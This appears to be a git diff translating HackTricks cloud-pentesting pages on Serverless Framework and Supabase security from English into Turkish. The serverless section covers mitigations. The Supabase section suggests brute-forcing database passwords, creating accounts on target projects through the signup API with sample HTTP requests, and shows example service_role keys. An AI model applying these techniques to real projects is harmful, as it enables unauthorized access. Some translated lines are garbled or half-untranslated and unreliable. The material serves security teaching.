-When no permissions are specified for the a Lambda function, a role with permissions only to generate logs will be created, like:
+Bir Lambda fonksiyonu için izinler belirtilmediğinde, yalnızca günlük oluşturma izinlerine sahip bir rol oluşturulacaktır, örneğin:
-Minimum lambda permissions
-
+Minimum lambda izinleri
```json
{
- "Version": "2012-10-17",
- "Statement": [
- {
- "Action": [
- "logs:CreateLogStream",
- "logs:CreateLogGroup",
- "logs:TagResource"
- ],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
- ],
- "Effect": "Allow"
- },
- {
- "Action": ["logs:PutLogEvents"],
- "Resource": [
- "arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
- ],
- "Effect": "Allow"
- }
- ]
+"Version": "2012-10-17",
+"Statement": [
+{
+"Action": [
+"logs:CreateLogStream",
+"logs:CreateLogGroup",
+"logs:TagResource"
+],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*"
+],
+"Effect": "Allow"
+},
+{
+"Action": ["logs:PutLogEvents"],
+"Resource": [
+"arn:aws:logs:us-east-1:123456789012:log-group:/aws/lambda/jito-cranker-scripts-dev*:*:*"
+],
+"Effect": "Allow"
+}
+]
}
```
-
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Principle of Least Privilege:** Assign only necessary permissions to each function.
-
- ```yaml
- provider:
- [...]
- iam:
- role:
- statements:
- - Effect: 'Allow'
- Action:
- - 'dynamodb:PutItem'
- - 'dynamodb:Get*'
- - 'dynamodb:Scan*'
- - 'dynamodb:UpdateItem'
- - 'dynamodb:DeleteItem'
- Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
- ```
-
-- **Use Separate Roles:** Differentiate roles based on function requirements.
-
----
-
-### **Insecure Secrets and Configuration Management**
-
-Storing sensitive information (e.g., API keys, database credentials) directly in **`serverless.yml`** or code can lead to exposure if repositories are compromised.
-
-The **recommended** way to store environment variables in **`serverless.yml`** file from serverless.com (at the time of this writing) is to use the `ssm` or `s3` providers, which allows to get the **environment values from these sources at deployment time** and **configure** the **lambdas** environment variables with the **text clear of the values**!
-
-> [!CAUTION]
-> Therefore, anyone with permissions to read the lambdas configuration inside AWS will be able to **access all these environment variables in clear text!**
-
-For example, the following example will use SSM to get an environment variable:
+- **En Az Ayrıcalık İlkesi:** Her işlev için yalnızca gerekli izinleri atayın.
```yaml
provider:
- environment:
- DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+[...]
+iam:
+role:
+statements:
+- Effect: 'Allow'
+Action:
+- 'dynamodb:PutItem'
+- 'dynamodb:Get*'
+- 'dynamodb:Scan*'
+- 'dynamodb:UpdateItem'
+- 'dynamodb:DeleteItem'
+Resource: arn:aws:dynamodb:${aws:region}:${aws:accountId}:table/${self:service}-customerTable-${sls:stage}
```
-And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **added in clear text inside the lambda environment variable**.
+- **Ayrı Roller Kullanın:** Roller, işlev gereksinimlerine göre farklılaştırılmalıdır.
+
+---
+
+### **Güvensiz Gizli Bilgiler ve Konfigürasyon Yönetimi**
+
+Hassas bilgilerin (örneğin, API anahtarları, veritabanı kimlik bilgileri) doğrudan **`serverless.yml`** veya kodda saklanması, depoların tehlikeye girmesi durumunda ifşaya yol açabilir.
+
+**Önerilen** yöntem, **`serverless.yml`** dosyasında ortam değişkenlerini saklamak için serverless.com'dan (bu yazının yazıldığı sırada) `ssm` veya `s3` sağlayıcılarını kullanmaktır; bu, **dağıtım zamanı** itibarıyla bu kaynaklardan **ortam değerlerini almayı** ve **lambdaların** ortam değişkenlerini **değerlerin metin olarak temiz bir şekilde** yapılandırmayı sağlar!
+
+> [!CAUTION]
+> Bu nedenle, AWS içindeki lambdaların konfigürasyonunu okuma iznine sahip olan herkes, **tüm bu ortam değişkenlerine temiz metin olarak erişebilecektir!**
+
+Örneğin, aşağıdaki örnek bir ortam değişkeni almak için SSM kullanacaktır:
+```yaml
+provider:
+environment:
+DB_PASSWORD: ${ssm:/aws/reference/secretsmanager/my-db-password~true}
+```
+And even if this prevents hardcoding the environment variable value in the **`serverless.yml`** file, the value will be obtained at deployment time and will be **lambda ortam değişkeni içinde düz metin olarak eklenecektir**.
> [!TIP]
-> The recommended way to store environment variables using serveless.com would be to **store it in a AWS secret** and just store the secret name in the environment variable and the **lambda code should gather it**.
+> serveless.com kullanarak ortam değişkenlerini saklamanın önerilen yolu **AWS gizli anahtarında saklamak** ve sadece gizli anahtar adını ortam değişkeninde saklamak ve **lambda kodunun bunu toplaması gerektiğidir**.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Secrets Manager Integration:** Use services like **AWS Secrets Manager.**
-- **Encrypted Variables:** Leverage Serverless Framework’s encryption features for sensitive data.
-- **Access Controls:** Restrict access to secrets based on roles.
+- **Gizli Anahtar Yöneticisi Entegrasyonu:** **AWS Gizli Anahtar Yöneticisi** gibi hizmetleri kullanın.
+- **Şifreli Değişkenler:** Hassas veriler için Serverless Framework’ün şifreleme özelliklerinden yararlanın.
+- **Erişim Kontrolleri:** Rollere dayalı olarak gizli anahtarlara erişimi kısıtlayın.
---
-### **Vulnerable Code and Dependencies**
+### **Zayıf Kod ve Bağımlılıklar**
-Outdated or insecure dependencies can introduce vulnerabilities, while improper input handling may lead to code injection attacks.
+Eski veya güvensiz bağımlılıklar zayıflıklara yol açabilirken, yanlış giriş işleme kod enjeksiyonu saldırılarına neden olabilir.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Dependency Management:** Regularly update dependencies and scan for vulnerabilities.
+- **Bağımlılık Yönetimi:** Bağımlılıkları düzenli olarak güncelleyin ve zayıflıkları tarayın.
- ```yaml
- plugins:
- - serverless-webpack
- - serverless-plugin-snyk
- ```
+```yaml
+plugins:
+- serverless-webpack
+- serverless-plugin-snyk
+```
-- **Input Validation:** Implement strict validation and sanitization of all inputs.
-- **Code Reviews:** Conduct thorough reviews to identify security flaws.
-- **Static Analysis:** Use tools to detect vulnerabilities in the codebase.
+- **Giriş Doğrulama:** Tüm girişlerin katı bir şekilde doğrulanmasını ve temizlenmesini uygulayın.
+- **Kod İncelemeleri:** Güvenlik açıklarını belirlemek için kapsamlı incelemeler yapın.
+- **Statik Analiz:** Kod tabanındaki zayıflıkları tespit etmek için araçlar kullanın.
---
-### **Inadequate Logging and Monitoring**
+### **Yetersiz Günlükleme ve İzleme**
-Without proper logging and monitoring, malicious activities may go undetected, delaying incident response.
+Uygun günlükleme ve izleme olmadan, kötü niyetli faaliyetler tespit edilemeyebilir ve olay yanıtını geciktirebilir.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Centralized Logging:** Aggregate logs using services like **AWS CloudWatch** or **Datadog**.
+- **Merkezi Günlükleme:** **AWS CloudWatch** veya **Datadog** gibi hizmetleri kullanarak günlükleri toplayın.
- ```yaml
- plugins:
- - serverless-plugin-datadog
- ```
+```yaml
+plugins:
+- serverless-plugin-datadog
+```
-- **Enable Detailed Logging:** Capture essential information without exposing sensitive data.
-- **Set Up Alerts:** Configure alerts for suspicious activities or anomalies.
-- **Regular Monitoring:** Continuously monitor logs and metrics for potential security incidents.
+- **Ayrıntılı Günlüklemeyi Etkinleştirin:** Hassas verileri açığa çıkarmadan temel bilgileri yakalayın.
+- **Uyarılar Kurun:** Şüpheli faaliyetler veya anormallikler için uyarılar yapılandırın.
+- **Düzenli İzleme:** Potansiyel güvenlik olayları için günlükleri ve metrikleri sürekli izleyin.
---
-### **Insecure API Gateway Configurations**
+### **Güvensiz API Geçidi Yapılandırmaları**
-Open or improperly secured APIs can be exploited for unauthorized access, Denial of Service (DoS) attacks, or cross-site attacks.
+Açık veya yanlış güvenlik önlemleri alınmış API'ler, yetkisiz erişim, Hizmet Reddi (DoS) saldırıları veya çapraz site saldırıları için istismar edilebilir.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Authentication and Authorization:** Implement robust mechanisms like OAuth, API keys, or JWT.
+- **Kimlik Doğrulama ve Yetkilendirme:** OAuth, API anahtarları veya JWT gibi sağlam mekanizmaları uygulayın.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- authorizer: aws_iam
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+authorizer: aws_iam
+```
-- **Rate Limiting and Throttling:** Prevent abuse by limiting request rates.
+- **Hız Sınırlama ve Kısıtlama:** İstismarı önlemek için istek oranlarını sınırlayın.
- ```yaml
- provider:
- apiGateway:
- throttle:
- burstLimit: 200
- rateLimit: 100
- ```
+```yaml
+provider:
+apiGateway:
+throttle:
+burstLimit: 200
+rateLimit: 100
+```
-- **Secure CORS Configuration:** Restrict allowed origins, methods, and headers.
+- **Güvenli CORS Yapılandırması:** İzin verilen kökenleri, yöntemleri ve başlıkları kısıtlayın.
- ```yaml
- functions:
- hello:
- handler: handler.hello
- events:
- - http:
- path: hello
- method: get
- cors:
- origin: https://yourdomain.com
- headers:
- - Content-Type
- ```
+```yaml
+functions:
+hello:
+handler: handler.hello
+events:
+- http:
+path: hello
+method: get
+cors:
+origin: https://yourdomain.com
+headers:
+- Content-Type
+```
-- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns.
+- **Web Uygulama Güvenlik Duvarları (WAF) Kullanın:** Kötü niyetli kalıplar için HTTP isteklerini filtreleyin ve izleyin.
---
-### **Insufficient Function Isolation**
+### **Yetersiz Fonksiyon İzolasyonu**
-Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions.
+Paylaşılan kaynaklar ve yetersiz izolasyon, ayrıcalık yükselmelerine veya fonksiyonlar arasında istenmeyen etkileşimlere yol açabilir.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation.
-- **Resource Partitioning:** Use separate databases or storage buckets for different functions.
-- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation.
+- **Fonksiyonları İzole Edin:** Bağımsız çalışmayı sağlamak için farklı kaynaklar ve IAM rolleri atayın.
+- **Kaynak Bölümlendirmesi:** Farklı fonksiyonlar için ayrı veritabanları veya depolama alanları kullanın.
+- **VPC'leri Kullanın:** Ağ izolasyonunu artırmak için fonksiyonları Sanal Özel Bulutlar içinde dağıtın.
- ```yaml
- provider:
- vpc:
- securityGroupIds:
- - sg-xxxxxxxx
- subnetIds:
- - subnet-xxxxxx
- ```
+```yaml
+provider:
+vpc:
+securityGroupIds:
+- sg-xxxxxxxx
+subnetIds:
+- subnet-xxxxxx
+```
-- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required.
+- **Fonksiyon İzinlerini Sınırlayın:** Fonksiyonların, açıkça gerekli olmadıkça birbirlerinin kaynaklarına erişemediğinden emin olun.
---
-### **Inadequate Data Protection**
+### **Yetersiz Veri Koruma**
-Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering.
+Dinlenme veya iletim sırasında şifrelenmemiş veriler açığa çıkabilir, bu da veri ihlallerine veya değiştirilmelere yol açabilir.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Encrypt Data at Rest:** Utilize cloud service encryption features.
+- **Dinlenme Halinde Verileri Şifreleyin:** Bulut hizmeti şifreleme özelliklerini kullanın.
- ```yaml
- resources:
- Resources:
- MyDynamoDBTable:
- Type: AWS::DynamoDB::Table
- Properties:
- SSESpecification:
- SSEEnabled: true
- ```
+```yaml
+resources:
+Resources:
+MyDynamoDBTable:
+Type: AWS::DynamoDB::Table
+Properties:
+SSESpecification:
+SSEEnabled: true
+```
-- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions.
-- **Secure API Communication:** Enforce encryption protocols and validate certificates.
-- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly.
+- **İletim Halinde Verileri Şifreleyin:** Tüm veri iletimleri için HTTPS/TLS kullanın.
+- **API İletişimini Güvence Altına Alın:** Şifreleme protokollerini zorlayın ve sertifikaları doğrulayın.
+- **Şifreleme Anahtarlarını Güvenli Bir Şekilde Yönetin:** Yönetilen anahtar hizmetlerini kullanın ve anahtarları düzenli olarak döndürün.
---
-### **Lack of Proper Error Handling**
+### **Uygun Hata Yönetiminin Olmaması**
-Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes.
+Ayrıntılı hata mesajları, altyapı veya kod tabanı hakkında hassas bilgileri açığa çıkarabilirken, ele alınmamış istisnalar uygulama çökmesine neden olabilir.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Generic Error Messages:** Avoid exposing internal details in error responses.
+- **Genel Hata Mesajları:** Hata yanıtlarında iç detayları açığa çıkarmaktan kaçının.
- ```javascript
- javascriptCopy code// Example in Node.js
- exports.hello = async (event) => {
- try {
- // Function logic
- } catch (error) {
- console.error(error);
- return {
- statusCode: 500,
- body: JSON.stringify({ message: 'Internal Server Error' }),
- };
- }
- };
- ```
+```javascript
+javascriptCopy code// Node.js'de örnek
+exports.hello = async (event) => {
+try {
+// Fonksiyon mantığı
+} catch (error) {
+console.error(error);
+return {
+statusCode: 500,
+body: JSON.stringify({ message: 'Dahili Sunucu Hatası' }),
+};
+}
+};
+```
-- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions.
-- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users.
+- **Merkezi Hata Yönetimi:** Tüm fonksiyonlar arasında hataları tutarlı bir şekilde yönetin ve temizleyin.
+- **Hataları İzleyin ve Günlüğe Geçirin:** Hataları içsel olarak izleyin ve analiz edin, son kullanıcılara detayları açığa çıkarmadan.
---
-### **Insecure Deployment Practices**
+### **Güvensiz Dağıtım Uygulamaları**
-Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations.
+Açıkta kalan dağıtım yapılandırmaları veya CI/CD boru hatalarına yetkisiz erişim, kötü niyetli kod dağıtımlarına veya yanlış yapılandırmalara yol açabilir.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits.
-- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data.
-- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies.
-- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices.
+- **Güvenli CI/CD Boru Hatları:** Katı erişim kontrolleri, çok faktörlü kimlik doğrulama (MFA) ve düzenli denetimler uygulayın.
+- **Yapılandırmayı Güvenli Bir Şekilde Saklayın:** Dağıtım dosyalarını hardcoded gizli anahtarlardan ve hassas verilerden arındırın.
+- **Altyapı Kod Olarak (IaC) Güvenlik Araçları Kullanın:** Güvenlik politikalarını uygulamak için **Checkov** veya **Terraform Sentinel** gibi araçları kullanın.
+- **Değişmez Dağıtımlar:** Değişmez altyapı uygulamaları benimseyerek dağıtım sonrası yetkisiz değişiklikleri önleyin.
---
-### **Vulnerabilities in Plugins and Extensions**
+### **Eklentiler ve Uzantılardaki Zayıflıklar**
-Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications.
+Onaylanmamış veya kötü niyetli üçüncü taraf eklentileri, sunucusuz uygulamalarınıza zayıflıklar ekleyebilir.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources.
-- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface.
-- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches.
-- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises.
+- **Eklentileri Kapsamlı Bir Şekilde Değerlendirin:** Entegrasyondan önce eklentilerin güvenliğini değerlendirin, güvenilir kaynaklardan gelenleri tercih edin.
+- **Eklenti Kullanımını Sınırlayın:** Saldırı yüzeyini en aza indirmek için yalnızca gerekli eklentileri kullanın.
+- **Eklenti Güncellemelerini İzleyin:** Güvenlik yamalarından yararlanmak için eklentileri güncel tutun.
+- **Eklenti Ortamlarını İzole Edin:** Potansiyel tehlikeleri sınırlamak için eklentileri izole ortamlarda çalıştırın.
---
-### **Exposure of Sensitive Endpoints**
+### **Hassas Uç Noktaların Açığa Çıkması**
-Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations.
+Herkese açık erişime sahip fonksiyonlar veya kısıtlanmamış API'ler, yetkisiz işlemler için istismar edilebilir.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources.
-- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization.
-- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting.
-- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use.
+- **Fonksiyon Erişimini Kısıtlayın:** Güvenilir kaynaklara erişimi sınırlamak için VPC'ler, güvenlik grupları ve güvenlik duvarı kuralları kullanın.
+- **Sağlam Kimlik Doğrulama Uygulayın:** Tüm açık uç noktaların uygun kimlik doğrulama ve yetkilendirme gerektirdiğinden emin olun.
+- **API Geçitlerini Güvenli Kullanın:** API Geçitlerini güvenlik politikalarını uygulamak için yapılandırın, giriş doğrulaması ve hız sınırlaması dahil.
+- **Kullanılmayan Uç Noktaları Devre Dışı Bırakın:** Kullanılmayan uç noktaları düzenli olarak gözden geçirin ve devre dışı bırakın.
---
-### **Excessive Permissions for Team Members and External Collaborators**
+### **Ekip Üyeleri ve Dış İşbirlikçilerin Aşırı İzinleri**
-Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats.
+Ekip üyelerine ve dış işbirlikçilere aşırı izinler vermek, yetkisiz erişim, veri ihlalleri ve kaynakların kötüye kullanımı ile sonuçlanabilir. Bu risk, birden fazla bireyin farklı erişim seviyelerine sahip olduğu ortamlarda artar, saldırı yüzeyini ve iç tehdit potansiyelini artırır.
-#### **Mitigation Strategies**
+#### **Azaltma Stratejileri**
-- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks.
+- **En Az Ayrıcalık İlkesi:** Ekip üyelerinin ve işbirlikçilerinin yalnızca görevlerini yerine getirmek için gerekli izinlere sahip olduğundan emin olun.
---
-### **Access Keys and License Keys Security**
+### **Erişim Anahtarları ve Lisans Anahtarları Güvenliği**
-**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI.
+**Erişim Anahtarları** ve **Lisans Anahtarları**, Serverless Framework CLI ile etkileşimleri kimlik doğrulamak ve yetkilendirmek için kullanılan kritik kimlik bilgileridir.
-- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI.
-- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`.
+- **Lisans Anahtarları:** CLI üzerinden giriş yapmak için Serverless Framework Sürüm 4'e erişimi kimlik doğrulamak için gereken benzersiz tanımlayıcılardır.
+- **Erişim Anahtarları:** Serverless Framework Dashboard ile kimlik doğrulamak için Serverless Framework CLI'nin kullanabileceği kimlik bilgileridir. `serverless` cli ile giriş yapıldığında bir erişim anahtarı **oluşturulacak ve dizüstü bilgisayarda saklanacaktır**. Ayrıca `SERVERLESS_ACCESS_KEY` adında bir ortam değişkeni olarak ayarlayabilirsiniz.
-#### **Security Risks**
+#### **Güvenlik Riskleri**
-1. **Exposure Through Code Repositories:**
- - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access.
-2. **Insecure Storage:**
- - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage.
-3. **Improper Distribution:**
- - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors.
-4. **Lack of Rotation:**
- - Not regularly rotating keys extends the exposure period if keys are compromised.
-5. **Excessive Permissions:**
- - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources.
+1. **Kod Depoları Üzerinden Açığa Çıkma:**
+- Erişim Anahtarlarını ve Lisans Anahtarlarını sürüm kontrol sistemlerine hardcoded olarak eklemek veya yanlışlıkla taahhüt etmek, yetkisiz erişime yol açabilir.
+2. **Güvensiz Depolama:**
+- Anahtarları düz metin olarak ortam değişkenlerinde veya yapılandırma dosyalarında uygun şifreleme olmadan saklamak, sızıntı olasılığını artırır.
+3. **Yanlış Dağıtım:**
+- Anahtarları güvensiz kanallar (örneğin, e-posta, sohbet) aracılığıyla paylaşmak, kötü niyetli aktörler tarafından ele geçirilmesine neden olabilir.
+4. **Döngü Eksikliği:**
+- Anahtarları düzenli olarak döndürmemek, anahtarlar tehlikeye girerse maruz kalma süresini uzatır.
+5. **Aşırı İzinler:**
+- Geniş izinlere sahip anahtarlar, birden fazla kaynakta yetkisiz eylemler gerçekleştirmek için istismar edilebilir.
{{#include ../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md
index 6fa6219f8..8199a38f0 100644
--- a/src/pentesting-ci-cd/supabase-security.md
+++ b/src/pentesting-ci-cd/supabase-security.md
@@ -1,50 +1,49 @@
-# Supabase Security
+# Supabase Güvenliği
{{#include ../banners/hacktricks-training.md}}
-## Basic Information
+## Temel Bilgiler
-As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
+[**Ana sayfalarına**](https://supabase.com/) göre: Supabase, açık kaynaklı bir Firebase alternatifidir. Projenize bir Postgres veritabanı, Kimlik Doğrulama, anlık API'ler, Edge Fonksiyonları, Gerçek Zamanlı abonelikler, Depolama ve Vektör gömme ile başlayın.
-### Subdomain
+### Alt Alan
-Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
+Temelde bir proje oluşturulduğunda, kullanıcı **`jnanozjdybtpqgcwhdiz.supabase.co`** gibi bir supabase.co alt alanı alacaktır.
-## **Database configuration**
+## **Veritabanı yapılandırması**
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`**
+> **Bu verilere `https://supabase.com/dashboard/project//settings/database` gibi bir bağlantıdan erişilebilir.**
-This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
-The password is a **password the user put** previously.
+Bu **veritabanı**, bazı AWS bölgelerinde dağıtılacak ve ona bağlanmak için şu şekilde bağlanmak mümkün olacaktır: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (bu us-west-1'de oluşturuldu).\
+Şifre, kullanıcının daha önce koyduğu bir **şifredir**.
-Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
+Bu nedenle, alt alan bilinen bir alan olduğundan ve kullanıcı adı olarak kullanıldığından ve AWS bölgeleri sınırlı olduğundan, **şifreyi brute force denemek** mümkün olabilir.
-This section also contains options to:
+Bu bölüm ayrıca şunları yapılandırma seçeneklerini içerir:
-- Reset the database password
-- Configure connection pooling
-- Configure SSL: Reject plan-text connections (by default they are enabled)
-- Configure Disk size
-- Apply network restrictions and bans
+- Veritabanı şifresini sıfırlama
+- Bağlantı havuzlamasını yapılandırma
+- SSL yapılandırma: Düz metin bağlantılarını reddetme (varsayılan olarak etkin)
+- Disk boyutunu yapılandırma
+- Ağ kısıtlamaları ve yasaklar uygulama
-## API Configuration
+## API Yapılandırması
> [!TIP]
-> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`**
+> **Bu verilere `https://supabase.com/dashboard/project//settings/api` gibi bir bağlantıdan erişilebilir.**
-The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
+Projenizdeki supabase API'sine erişim URL'si şöyle olacak: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
-### anon api keys
+### anon api anahtarları
-It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in
+Ayrıca bir **anon API anahtarı** (`role: "anon"`) oluşturacaktır, örneğin: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` uygulamanın API anahtarını kullanabilmesi için gereklidir.
-It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be:
+Bu API ile iletişim kurmak için API REST'ini [**belgelerde**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server) bulmak mümkündür, ancak en ilginç uç noktalar şunlar olacaktır:
-Signup (/auth/v1/signup)
-
+Kaydol (/auth/v1/signup)
```
POST /auth/v1/signup HTTP/2
Host: id.io.net
@@ -69,13 +68,11 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-Login (/auth/v1/token?grant_type=password)
-
+Giriş (/auth/v1/token?grant_type=password)
```
POST /auth/v1/token?grant_type=password HTTP/2
Host: hypzbtgspjkludjcnjxl.supabase.co
@@ -100,68 +97,63 @@ Priority: u=1, i
{"email":"test@exmaple.com","password":"SomeCOmplexPwd239."}
```
-
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**.
+Bu nedenle, bir müşterinin kendilerine verilen alt alan adıyla supabase kullandığını keşfettiğinizde (şirketin bir alt alan adının supabase alt alan adlarına CNAME yönlendirmesi yapması mümkündür), **supabase API'sini kullanarak platformda yeni bir hesap oluşturmayı** deneyebilirsiniz.
-### secret / service_role api keys
+### gizli / service_role api anahtarları
-A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**.
+**`role: "service_role"`** ile bir gizli API anahtarı da oluşturulacaktır. Bu API anahtarı gizli olmalıdır çünkü **Satır Düzeyi Güvenliği**'ni atlayabilecektir.
-The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
+API anahtarı şu şekilde görünür: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354`
-### JWT Secret
+### JWT Gizli Anahtarı
-A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**.
+Uygulamanın **özel JWT token'ları oluşturup imzalayabilmesi** için bir **JWT Gizli Anahtarı** da oluşturulacaktır.
-## Authentication
+## Kimlik Doğrulama
-### Signups
+### Kayıtlar
> [!TIP]
-> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints.
+> **Varsayılan olarak** supabase, daha önce bahsedilen API uç noktalarını kullanarak projenizde **yeni kullanıcıların hesap oluşturmasına** izin verecektir.
-However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\
-This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those:
+Ancak, bu yeni hesaplar varsayılan olarak, **giriş yapabilmek için e-posta adreslerini doğrulamaları** gerekecektir. İnsanların e-posta adreslerini doğrulamadan giriş yapabilmesi için **"Anonim girişlere izin ver"** seçeneğini etkinleştirmek mümkündür. Bu, **beklenmedik verilere** erişim sağlayabilir (kullanıcılar `public` ve `authenticated` rollerini alır).\
+Bu çok kötü bir fikirdir çünkü supabase, aktif kullanıcı başına ücret alır, bu nedenle insanlar kullanıcı oluşturup giriş yapabilir ve supabase bu kullanıcılar için ücret alır:
-### Passwords & sessions
+### Şifreler ve oturumlar
